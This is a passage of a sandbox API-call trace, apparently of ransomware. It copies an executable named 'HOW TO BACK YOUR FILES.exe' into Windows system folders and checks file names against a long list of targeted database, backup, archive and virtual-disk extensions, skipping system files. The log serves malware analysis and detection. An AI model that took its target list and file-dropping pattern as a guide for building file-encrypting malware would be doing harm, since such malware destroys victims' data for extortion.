Extensions\\" [0064.536] lstrcatW (in: lpString1="Web Server Extensions\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Web Server Extensions\\HOW TO BACK YOUR FILES.exe") returned="Web Server Extensions\\HOW TO BACK YOUR FILES.exe" [0064.536] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.538] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0064.538] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0064.538] ReleaseMutex (hMutex=0xec) returned 1 [0064.538] CloseHandle (hObject=0xec) returned 1 [0064.538] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Services" | out: lpString1="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0064.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516160 | out: hHeap=0x4f0000) returned 1 [0064.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f6b8 | out: hHeap=0x4f0000) returned 1 [0064.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services") returned 38 [0064.538] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EC53E089A92803E56D83156D97D6275A") returned 0xec [0064.539] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0064.539] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Services" | out: lpString1="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0064.539] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0064.539] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\services\\how to back your files.exe"), bFailIfExists=1) returned 0 [0064.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\services\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0064.541] GetLastError () returned 0x0 [0064.541] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0064.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0064.541] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0064.543] CloseHandle (hObject=0xf4) returned 1 [0064.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0064.543] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0064.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd451300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd451300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0064.543] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.543] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.543] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd451300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd451300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.543] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.544] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.544] lstrcpyW (in: lpString1=0x241e896, lpString2="verisign.bmp" | out: lpString1="verisign.bmp") returned="verisign.bmp" [0064.544] lstrlenW (lpString="verisign.bmp") returned 12 [0064.544] lstrlenW (lpString="Athena865") returned 9 [0064.544] lstrcmpiW (lpString1="isign.bmp", lpString2="Athena865") returned 1 [0064.544] lstrlenW (lpString=".dll") returned 4 [0064.544] lstrcmpiW (lpString1="verisign.bmp", lpString2=".dll") returned 1 [0064.544] lstrlenW (lpString=".lnk") returned 4 [0064.544] lstrcmpiW (lpString1="verisign.bmp", lpString2=".lnk") returned 1 [0064.544] lstrlenW (lpString=".ini") returned 4 [0064.544] lstrcmpiW (lpString1="verisign.bmp", lpString2=".ini") returned 1 [0064.544] lstrlenW (lpString=".sys") returned 4 [0064.544] lstrcmpiW (lpString1="verisign.bmp", lpString2=".sys") returned 1 [0064.544] lstrlenW (lpString="verisign.bmp") returned 12 [0064.544] lstrlenW (lpString="bak") returned 3 [0064.544] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0064.544] lstrlenW (lpString="ba_") returned 3 [0064.544] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0064.544] lstrlenW (lpString="dbb") returned 3 [0064.544] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0064.544] lstrlenW (lpString="vmdk") returned 4 [0064.544] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0064.544] lstrlenW (lpString="rar") returned 3 [0064.544] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0064.544] lstrlenW (lpString="zip") returned 3 [0064.544] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0064.544] lstrlenW (lpString="tgz") returned 3 [0064.544] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0064.544] lstrlenW (lpString="vbox") returned 4 [0064.544] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0064.544] lstrlenW (lpString="vdi") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0064.545] lstrlenW (lpString="vhd") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0064.545] lstrlenW (lpString="vhdx") returned 4 [0064.545] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0064.545] lstrlenW (lpString="avhd") returned 4 [0064.545] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0064.545] lstrlenW (lpString="db") returned 2 [0064.545] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0064.545] lstrlenW (lpString="db2") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0064.545] lstrlenW (lpString="db3") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0064.545] lstrlenW (lpString="dbf") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0064.545] lstrlenW (lpString="mdf") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0064.545] lstrlenW (lpString="mdb") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0064.545] lstrlenW (lpString="sql") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0064.545] lstrlenW (lpString="sqlite") returned 6 [0064.545] lstrcmpiW (lpString1="gn.bmp", lpString2="sqlite") returned -1 [0064.545] lstrlenW (lpString="sqlite3") returned 7 [0064.545] lstrcmpiW (lpString1="ign.bmp", lpString2="sqlite3") returned -1 [0064.545] lstrlenW (lpString="sqlitedb") returned 8 [0064.545] lstrcmpiW (lpString1="sign.bmp", lpString2="sqlitedb") returned -1 [0064.545] lstrlenW (lpString="xml") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0064.545] lstrlenW (lpString="$er") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0064.545] lstrlenW (lpString="4dd") returned 3 [0064.545] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0064.545] lstrlenW (lpString="4dl") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0064.546] lstrlenW (lpString="^^^") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0064.546] lstrlenW (lpString="abs") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0064.546] lstrlenW (lpString="abx") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0064.546] lstrlenW (lpString="accdb") returned 5 [0064.546] lstrcmpiW (lpString1="n.bmp", lpString2="accdb") returned 1 [0064.546] lstrlenW (lpString="accdc") returned 5 [0064.546] lstrcmpiW (lpString1="n.bmp", lpString2="accdc") returned 1 [0064.546] lstrlenW (lpString="accde") returned 5 [0064.546] lstrcmpiW (lpString1="n.bmp", lpString2="accde") returned 1 [0064.546] lstrlenW (lpString="accdr") returned 5 [0064.546] lstrcmpiW (lpString1="n.bmp", lpString2="accdr") returned 1 [0064.546] lstrlenW (lpString="accdt") returned 5 [0064.546] lstrcmpiW (lpString1="n.bmp", lpString2="accdt") returned 1 [0064.546] lstrlenW (lpString="accdw") returned 5 [0064.546] lstrcmpiW (lpString1="n.bmp", lpString2="accdw") returned 1 [0064.546] lstrlenW (lpString="accft") returned 5 [0064.546] lstrcmpiW (lpString1="n.bmp", lpString2="accft") returned 1 [0064.546] lstrlenW (lpString="adb") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0064.546] lstrlenW (lpString="adb") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0064.546] lstrlenW (lpString="ade") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0064.546] lstrlenW (lpString="adf") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0064.546] lstrlenW (lpString="adn") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0064.546] lstrlenW (lpString="adp") returned 3 [0064.546] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0064.547] lstrlenW (lpString="alf") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0064.547] lstrlenW (lpString="ask") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0064.547] lstrlenW (lpString="btr") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0064.547] lstrlenW (lpString="cat") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0064.547] lstrlenW (lpString="cdb") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0064.547] lstrlenW (lpString="ckp") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0064.547] lstrlenW (lpString="cma") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0064.547] lstrlenW (lpString="cpd") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0064.547] lstrlenW (lpString="dacpac") returned 6 [0064.547] lstrcmpiW (lpString1="gn.bmp", lpString2="dacpac") returned 1 [0064.547] lstrlenW (lpString="dad") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0064.547] lstrlenW (lpString="dadiagrams") returned 10 [0064.547] lstrcmpiW (lpString1="risign.bmp", lpString2="dadiagrams") returned 1 [0064.547] lstrlenW (lpString="daschema") returned 8 [0064.547] lstrcmpiW (lpString1="sign.bmp", lpString2="daschema") returned 1 [0064.547] lstrlenW (lpString="db-journal") returned 10 [0064.547] lstrcmpiW (lpString1="risign.bmp", lpString2="db-journal") returned 1 [0064.547] lstrlenW (lpString="db-shm") returned 6 [0064.547] lstrcmpiW (lpString1="gn.bmp", lpString2="db-shm") returned 1 [0064.547] lstrlenW (lpString="db-wal") returned 6 [0064.547] lstrcmpiW (lpString1="gn.bmp", lpString2="db-wal") returned 1 [0064.547] lstrlenW (lpString="dbc") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0064.547] lstrlenW (lpString="dbs") returned 3 [0064.547] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0064.548] lstrlenW (lpString="dbt") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0064.548] lstrlenW (lpString="dbv") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0064.548] lstrlenW (lpString="dbx") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0064.548] lstrlenW (lpString="dcb") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0064.548] lstrlenW (lpString="dct") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0064.548] lstrlenW (lpString="dcx") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0064.548] lstrlenW (lpString="ddl") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1 [0064.548] lstrlenW (lpString="dlis") returned 4 [0064.548] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1 [0064.548] lstrlenW (lpString="dp1") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1 [0064.548] lstrlenW (lpString="dqy") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1 [0064.548] lstrlenW (lpString="dsk") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1 [0064.548] lstrlenW (lpString="dsn") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1 [0064.548] lstrlenW (lpString="dtsx") returned 4 [0064.548] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1 [0064.548] lstrlenW (lpString="dxl") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1 [0064.548] lstrlenW (lpString="eco") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1 [0064.548] lstrlenW (lpString="ecx") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1 [0064.548] lstrlenW (lpString="edb") returned 3 [0064.548] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1 [0064.549] lstrlenW (lpString="epim") returned 4 [0064.549] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1 [0064.549] lstrlenW (lpString="fcd") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1 [0064.549] lstrlenW (lpString="fdb") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1 [0064.549] lstrlenW (lpString="fic") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1 [0064.549] lstrlenW (lpString="flexolibrary") returned 12 [0064.549] lstrlenW (lpString="fm5") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1 [0064.549] lstrlenW (lpString="fmp") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1 [0064.549] lstrlenW (lpString="fmp12") returned 5 [0064.549] lstrcmpiW (lpString1="n.bmp", lpString2="fmp12") returned 1 [0064.549] lstrlenW (lpString="fmpsl") returned 5 [0064.549] lstrcmpiW (lpString1="n.bmp", lpString2="fmpsl") returned 1 [0064.549] lstrlenW (lpString="fol") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1 [0064.549] lstrlenW (lpString="fp3") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1 [0064.549] lstrlenW (lpString="fp4") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1 [0064.549] lstrlenW (lpString="fp5") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1 [0064.549] lstrlenW (lpString="fp7") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1 [0064.549] lstrlenW (lpString="fpt") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1 [0064.549] lstrlenW (lpString="frm") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1 [0064.549] lstrlenW (lpString="gdb") returned 3 [0064.549] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0064.549] lstrlenW (lpString="gdb") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0064.550] lstrlenW (lpString="grdb") returned 4 [0064.550] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1 [0064.550] lstrlenW (lpString="gwi") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1 [0064.550] lstrlenW (lpString="hdb") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1 [0064.550] lstrlenW (lpString="his") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1 [0064.550] lstrlenW (lpString="ib") returned 2 [0064.550] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1 [0064.550] lstrlenW (lpString="idb") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1 [0064.550] lstrlenW (lpString="ihx") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1 [0064.550] lstrlenW (lpString="itdb") returned 4 [0064.550] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1 [0064.550] lstrlenW (lpString="itw") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1 [0064.550] lstrlenW (lpString="jet") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1 [0064.550] lstrlenW (lpString="jtx") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1 [0064.550] lstrlenW (lpString="kdb") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1 [0064.550] lstrlenW (lpString="kexi") returned 4 [0064.550] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1 [0064.550] lstrlenW (lpString="kexic") returned 5 [0064.550] lstrcmpiW (lpString1="n.bmp", lpString2="kexic") returned 1 [0064.550] lstrlenW (lpString="kexis") returned 5 [0064.550] lstrcmpiW (lpString1="n.bmp", lpString2="kexis") returned 1 [0064.550] lstrlenW (lpString="lgc") returned 3 [0064.550] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1 [0064.551] lstrlenW (lpString="lwx") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1 [0064.551] lstrlenW (lpString="maf") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1 [0064.551] lstrlenW (lpString="maq") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1 [0064.551] lstrlenW (lpString="mar") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1 [0064.551] lstrlenW (lpString="marshal") returned 7 [0064.551] lstrcmpiW (lpString1="ign.bmp", lpString2="marshal") returned -1 [0064.551] lstrlenW (lpString="mas") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1 [0064.551] lstrlenW (lpString="mav") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1 [0064.551] lstrlenW (lpString="maw") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1 [0064.551] lstrlenW (lpString="mdbhtml") returned 7 [0064.551] lstrcmpiW (lpString1="ign.bmp", lpString2="mdbhtml") returned -1 [0064.551] lstrlenW (lpString="mdn") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1 [0064.551] lstrlenW (lpString="mdt") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1 [0064.551] lstrlenW (lpString="mfd") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1 [0064.551] lstrlenW (lpString="mpd") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1 [0064.551] lstrlenW (lpString="mrg") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1 [0064.551] lstrlenW (lpString="mud") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1 [0064.551] lstrlenW (lpString="mwb") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1 [0064.551] lstrlenW (lpString="myd") returned 3 [0064.551] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1 [0064.552] lstrlenW (lpString="ndf") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1 [0064.552] lstrlenW (lpString="nnt") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1 [0064.552] lstrlenW (lpString="nrmlib") returned 6 [0064.552] lstrcmpiW (lpString1="gn.bmp", lpString2="nrmlib") returned -1 [0064.552] lstrlenW (lpString="ns2") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1 [0064.552] lstrlenW (lpString="ns3") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1 [0064.552] lstrlenW (lpString="ns4") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1 [0064.552] lstrlenW (lpString="nsf") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1 [0064.552] lstrlenW (lpString="nv") returned 2 [0064.552] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1 [0064.552] lstrlenW (lpString="nv2") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1 [0064.552] lstrlenW (lpString="nwdb") returned 4 [0064.552] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1 [0064.552] lstrlenW (lpString="nyf") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1 [0064.552] lstrlenW (lpString="odb") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0064.552] lstrlenW (lpString="odb") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0064.552] lstrlenW (lpString="oqy") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1 [0064.552] lstrlenW (lpString="ora") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1 [0064.552] lstrlenW (lpString="orx") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1 [0064.552] lstrlenW (lpString="owc") returned 3 [0064.552] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1 [0064.553] lstrlenW (lpString="p96") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1 [0064.553] lstrlenW (lpString="p97") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1 [0064.553] lstrlenW (lpString="pan") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1 [0064.553] lstrlenW (lpString="pdb") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1 [0064.553] lstrlenW (lpString="pdm") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1 [0064.553] lstrlenW (lpString="pnz") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1 [0064.553] lstrlenW (lpString="qry") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1 [0064.553] lstrlenW (lpString="qvd") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1 [0064.553] lstrlenW (lpString="rbf") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1 [0064.553] lstrlenW (lpString="rctd") returned 4 [0064.553] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1 [0064.553] lstrlenW (lpString="rod") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1 [0064.553] lstrlenW (lpString="rodx") returned 4 [0064.553] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1 [0064.553] lstrlenW (lpString="rpd") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1 [0064.553] lstrlenW (lpString="rsd") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1 [0064.553] lstrlenW (lpString="sas7bdat") returned 8 [0064.553] lstrcmpiW (lpString1="sign.bmp", lpString2="sas7bdat") returned 1 [0064.553] lstrlenW (lpString="sbf") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1 [0064.553] lstrlenW (lpString="scx") returned 3 [0064.553] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1 [0064.554] lstrlenW (lpString="sdb") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1 [0064.554] lstrlenW (lpString="sdc") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1 [0064.554] lstrlenW (lpString="sdf") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1 [0064.554] lstrlenW (lpString="sis") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1 [0064.554] lstrlenW (lpString="spq") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1 [0064.554] lstrlenW (lpString="te") returned 2 [0064.554] lstrcmpiW (lpString1="mp", lpString2="te") returned -1 [0064.554] lstrlenW (lpString="teacher") returned 7 [0064.554] lstrcmpiW (lpString1="ign.bmp", lpString2="teacher") returned -1 [0064.554] lstrlenW (lpString="tmd") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1 [0064.554] lstrlenW (lpString="tps") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1 [0064.554] lstrlenW (lpString="trc") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0064.554] lstrlenW (lpString="trc") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0064.554] lstrlenW (lpString="trm") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1 [0064.554] lstrlenW (lpString="udb") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1 [0064.554] lstrlenW (lpString="udl") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1 [0064.554] lstrlenW (lpString="usr") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1 [0064.554] lstrlenW (lpString="v12") returned 3 [0064.554] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1 [0064.554] lstrlenW (lpString="vis") returned 3 [0064.555] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1 [0064.555] lstrlenW (lpString="vpd") returned 3 [0064.555] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1 [0064.555] lstrlenW (lpString="vvv") returned 3 [0064.555] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1 [0064.555] lstrlenW (lpString="wdb") returned 3 [0064.555] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1 [0064.555] lstrlenW (lpString="wmdb") returned 4 [0064.555] lstrcmpiW 